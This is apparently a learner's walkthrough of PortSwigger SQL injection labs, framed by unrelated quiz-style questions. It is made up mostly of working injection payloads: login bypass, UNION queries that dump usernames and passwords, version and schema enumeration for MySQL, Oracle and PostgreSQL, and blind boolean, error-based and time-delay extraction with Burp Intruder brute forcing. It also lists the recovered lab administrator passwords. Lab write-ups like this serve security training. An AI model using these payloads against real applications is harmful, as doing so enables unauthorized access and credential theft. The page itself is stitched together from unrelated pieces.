What SQL clause can be used to retrieve data from multiple tables Tryhackme

# Portswiger Labs SQL Injection ###### tags: `sql` `web` `meowhecker` [TOC] ## Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data SQL command ``` `SELECT * FROM products WHERE category = 'Gifts' AND released = 1` ``` We input value which will return to category parameter .    ```sql `SELECT * FROM products WHERE category = '' or 1 = 1 --' AND released = 1` ``` -- mySql comment ## Lab: SQL injection vulnerability allowing login bypass >This lab contains an [SQL injection](https://portswigger.net/web-security/sql-injection) vulnerability in the login function. To solve the lab, perform an SQL injection attack that logs in to the application as the `administrator` user. I think the query probably just like this, I guess ``` select * from usertable where user= '' and password '' ``` So, if we know the user account, but didn't know what the password is. let try submit follow query ``` administrator'-- ```  ## [SQL injection UNION attack, determining the number of columns returned by the query](https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns) Key word: Detect the number of columns of the table. Method: Using the null to guess how many the columns in the table. Error based -> Finding the SQL vulnerability.  ``` MariaDB [sqlitest]> select * from user1 where username = '' union select null,null,null; ``` ``` MariaDB [sqlitest]> select * from user1 where username = '' union select 1,1,1; ```  Solve ways   ## [SQL injection UNION attack, finding a column containing text](https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text) >This lab contains an SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you first need to determine the number of columns returned by the query. You can do this using a technique you learned in a [previous lab](https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns). The next step is to identify a column that is compatible with string data. >The lab will provide a random value that you need to make appear within the query results. To solve the lab, perform an [SQL injection UNION](https://portswigger.net/web-security/sql-injection/union-attacks) attack that returns an additional row containing the value provided. This technique helps you determine which columns are compatible with string data. ### Step 1 Try to find In-band ->error based   There have a error-base vulnerability. ### Step 2 In-band ->Union based We have to satisfy union of query required. request  response  The column of the table is three.  malquery ``` ='+union+select+'123','ZTW4s5',null -- ```  ---- ## [SQL injection UNION attack, retrieving data from other tables](https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-data-from-other-tables) >Description:This lab contains an SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you need to combine some of the techniques you learned in previous labs. >Goals:The database contains a different table called `users`, with columns called `username` and `password`. >Solve Way:To solve the lab, perform an [SQL injection UNION](https://portswigger.net/web-security/sql-injection/union-attacks) attack that retrieves all usernames and passwords, and use the information to log in as the `administrator` user. ### Error-based  ### Union-based Table have the two columns.  ``` '+union+select+username,password+from+users-- ``` ### Probably Query: ``` select username password from user1 where username='' union select username password from user2; ```   --- ## [SQL injection UNION attack, retrieving multiple values in a single column](https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-multiple-values-in-single-column) >Description:This lab contains an SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables. >Goal:The database contains a different table called `users`, with columns called `username` and `password`. To solve the lab, perform an [SQL injection UNION](https://portswigger.net/web-security/sql-injection/union-attacks) attack that retrieves all usernames and passwords, and use the information to log in as the `administrator` user. ### Error-based  ### Union-based  ``` '+union+select+null,concat(username,password)as+"meow"+from+users-- ``` Another solve way ``` '+union+select+null,username||'meow'||password+from+users-- ```   --- ## [SQL injection attack, querying the database type and version on Oracle](https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-oracle) >Description:This lab contains an [SQL injection](https://portswigger.net/web-security/sql-injection) vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query. >Goals:To solve the lab, display the database version string. ### Error-based  ### Union-based  ``` 'union+select+null,null+from+dual-- ``` In Oracle, the dual table is a default table. So, we can use for testing the number of column for the cancat the union query. Attacker vector for Oracle about the show database version. ``` SELECT banner FROM v$version ``` Exploit ``` 'union+select+null,banner+from+v$version-- ```  ## [SQL injection attack, querying the database type and version on MySQL and Microsoft](https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-mysql-microsoft) --- https://portswigger.net/web-security/sql-injection/cheat-sheet ### Union-based ``` +union+select+null,null--+ ``` I add the plus character Because -\- commend (There must have space between double dashes with comment. Another way ``` +union+select+null,null# ```  ### Querying Database type ``` select @@version ``` Exploit ``` '+union+select+null,@@version--+ ```  ## [SQL injection attack, listing the database contents on non-Oracle databases](https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle) >Description:This lab contains an [SQL injection](https://portswigger.net/web-security/sql-injection) vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables. >Goal:The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users. To solve the lab, log in as the `administrator` user. ### Error-based  ### Union-based ``` '+union+select+null,table_name+from+information_schema.tables-- ``` ### Potential tables which probably contain the administrator account and password. user_mapping_options user_defined_types users_idyfvr user_mappings ### Display what column name in the users_idyfvr table. ``` '+union+select+null,column_name+from+information_schema.columns+where+table_name='users_idyfvr'-- ``` ### Show vales of the column. ``` '+union+select+username_twzgbx,password_rmcani+from+users_idyfvr-- ``` Ha Ha  administrator 1ta6g682teqaeb69fbjd   ## [SQL injection attack, listing the database contents on Oracle](https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle) >Description:This lab contains an [SQL injection](https://portswigger.net/web-security/sql-injection) vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables. >Goal:The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users. To solve the lab, log in as the `administrator` user. ### Error-based  ### Union-based ``` '+union+select+null,null+from+dual-- ```  ### Potential tables which probably contain the administrator account and password. ``` '+union+select+null,table_name+from+all_tables-- ```  APP_USERS_AND_ROLES SDO_PREFERRED_OPS_USER USERS_LIYHLU ### Show the column name of the table. ``` '+union+select+null,column_name+from+user_tab_columns+where+table_name+='USERS_LIYHLU'-- ```  ### Show Column PASSWORD_UXSXEE USERNAME_VTPKLO ### Show values of the column. ``` '+union+select+USERNAME_VTPKLO,PASSWORD_UXSXEE+from+USERS_LIYHLU-- ```  administrator 9lig9ukat4p4q0r4cjrs  ## [Blind SQL injection with conditional responses](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses) >Description: >This lab contains a [blind SQL injection](https://portswigger.net/web-security/sql-injection/blind) vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie. - vulnerability parameter Tracking cookie Tracking cookie will be send to the third part database (not save in the locatehost) Goal: - Enumerate the password of the administrator. - Login in as the administrator. Analysis: cookie tracing  Step 1 Comfirm the parameter is vulnerability to blind injection select TrackingId form table_tracking where TrackingId="u0dR1WKR5OGeWbKN" if (ID is exists) ->query return true -> return welcome comeback else->query return false ->return no welcome comeback True case select TrackingId form table_tracking where TrackingId="u0dR1WKR5OGeWbKN" and 1=1; ``` rSCSR0XfB0Zx7cQt'+and+1%3d1-- ```  False case ``` rSCSR0XfB0Zx7cQt'+and+1%3d2-- ```  Comfirm that we have user table We could use true and false case to try it the table is exist it will return the welcome back, ``` select(SELECT CustomerName FROM Customers LIMIT 1)="Alfreds Futterkiste"; ```  we could try ``` ' and (select 'meowhecker' from users limit 1)='meowhecker'-- ``` Crtl + U (HTML encode)  We could know the table users is exists. next step comfirm that the username of the administrator is exists  ``` ' and (select username from users where username ='administrator')='administrator'--; ``` Guess the passwords Comfirm how long of the password length. manual testing ``` ' and (select username from users where username ='administrator' and length(password)<21)='administrator'--; ``` brute force (by tool) Sent it to intruder  setting the position clear all position   Setting the payload of attacking   Obviously, the length of the password is 20 Enumerate the character of the password. MariaDB [sqlitest]> select * from user1;  select substring(password,1,1) from user1 where username='meowhecker';  select substring(password,2,2) from user1 where username='meowhecker';  ``` ' and (select substring(password,1,1) from users where username ='administrator')='a-z 1~9'--; ``` position  payload   'o' is the first character of the password. Instead of run 20 time by my hand by using sniper Using the cluster bomb is more better    password o62qjvgjq2xxyn98hls7  ## [Blind SQL injection with conditional errors](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors) >Description >This lab contains a [blind SQL injection](https://portswigger.net/web-security/sql-injection/blind) vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie. >The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message. >The database contains a different table called `users`, with columns called `username` and `password`. You need to exploit the blind [SQL injection](https://portswigger.net/web-security/sql-injection) vulnerability to find out the password of the `administrator` user. To solve the lab, log in as the `administrator` user. vulnerable parameter: tracking cookie Goal: - Out put the password by using the blind SQL injection - Login in as the administrator. Error-based  false case ``` ?' ``` true case ``` ?'' ``` MySQL  we could use || to concatenate multiple strings to make a single string. ``` || (select+''from dual) || ``` True case ``` '+||+(select+''+from+dual)+||+' ```  False case ``` '+||+(select+''+from+meowhecker)+||+' ```  Confirm the user table exists in the database. ``` ' || (select '' from dual where rownum =1 ) || ' ``` - where rownum -> it will only out put one row   this statement have a bug which can't determine whether the use table exists or not . ``` ' || (select '' from users where rownum =1 ) || ' ``` False case ``` '|| (select case when (1=1) then '' else to_char(1/0) end from users1 where rownum=1) ||' ``` True case ``` '|| (select case when (1=1) then '' else to_char(1/0) end from users where rownum=1) ||' ``` -> users table exists Comfirm that administrator is exists in the user table. ``` '|| (select '' from users where username='administrator') ||' ``` ->Comfirm the administrator is exists in the table. ``` '|| (select case when (1=1) then '' else '2' end from dual ) ||' ``` select case when (1=1) then \else \from dual if the case is 1=1 then perform a certain function else unexpected function True case '|| (select case when (1=1) then '' else to_char(1/0) end from dual ) ||' False Case ``` '|| (select case when (1=0) then '' else to_char(1/0) end from dual ) ||' ``` ``` '|| (select case when (1=1) then '' else to_char(1/0) end from users where username='administrator') ||' ``` -> the administrator exists in the table Determine the length of password ``` '|| (select case when (length(password)<21) then '' else to_char(1/0) end from users where username='administrator') ||' ``` >True password length is 20 ``` '|| (select case when (length(password)<21) then '' else to_char(1/0) end from users where username='administrator') || ``` Send to intruder and Brute it ``` '|| (select case when (substr(password,1,1)='a') then '' else to_char(1/0) end from users where username='administrator') ||' ```   pxkfnz6iy0p6pw059g0c  ## [Blind SQL injection with time delays](https://portswigger.net/web-security/sql-injection/blind/lab-time-delays) >Description >This lab contains a [blind SQL injection](https://portswigger.net/web-security/sql-injection/blind) vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie. >The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information. >To solve the lab, exploit the [SQL injection](https://portswigger.net/web-security/sql-injection) vulnerability to cause a 10 second delay. Vulnerability parameter - Tracking cookie Goal: - Trigger the delay to the server.(10 seconds) Analysis payload ``` '||(pg_sleep(10))||' ``` ## [Blind SQL injection with time delays and information retrieval](https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval) >This lab contains a [blind SQL injection](https://portswigger.net/web-security/sql-injection/blind) vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie. >The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information. >The database contains a different table called `users`, with columns called `username` and `password`. You need to exploit the blind [SQL injection](https://portswigger.net/web-security/sql-injection) vulnerability to find out the password of the `administrator` user. >To solve the lab, log in as the `administrator` user. Vulnerability parameter - Tracking cookie - time based Goals: Comfirm the user table and administrator Out put the administrator password Login as the administrator. Comfirm the parameter is vulnerability to SQLi. Way 1 ``` Cookie: TrackingId=OCBKyNBpSgwKtbNV' || pg_sleep(5)--; ```   ``` Cookie: TrackingId=OCBKyNBpSgwKtbNV' || pg_sleep(4) || '-- ```  Way2 ``` TrackingId=OCBKyNBpSgwKtbNV' || (select pg_sleep(5)) || '-- ```  ``` Cookie: TrackingId=OCBKyNBpSgwKtbNV' || (select pg_sleep(7))||'-- ```  --> Obviously, there have a vulnerability of time-based SQLi Confirm that the users table in the database. - Ask the application by true and false sleep ``` TrackingId=OCBKyNBpSgwKtbNV' || (select case when (1=1) then pg_sleep(5) else pg_sleep(-1) end)||'-- ``` No sleep ``` TrackingId=OCBKyNBpSgwKtbNV' || (select case when (1=1) then pg_sleep(5) else pg_sleep(-1) end)||'-- ``` --->Ok, we finish the true and false questions. we will take it to test or guess something. ``` Cookie: TrackingId=OCBKyNBpSgwKtbNV' || (select case when (username='administrator') then pg_sleep(5) else pg_sleep(-1) end from users)||'-- ``` ---> We can confirm the user table exists and that it has an administrator. Enumerate the password length. ``` ' || (select case when (username='administrator' and length(password)>19 and length(password)<21) then pg_sleep(5) else pg_sleep(-1) end from users)||'-- ```  ----> password : 20 (length ) Enumerate the password ``` Cookie: TrackingId=OCBKyNBpSgwKtbNV' || (select case when (username='administrator' and length(password)>19 and length(password)<21 and substring(password,1,1)='a') then pg_sleep(5) else pg_sleep(-1) end from users)||'-- ``` intruder we have to set thread is one (default is 10), because it's time base  1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20 spblxw7s14anpzg8yyj8 spblxw7s14anpzg8yyj8 spblxn7s14anpzg8yyj8

Which SQLi attack allows attackers to retrieve data from different tables?

What is Inband SQL injection?

What is the acronym for the software that controls a database?

Which of the following automated tools are used for SQL attack?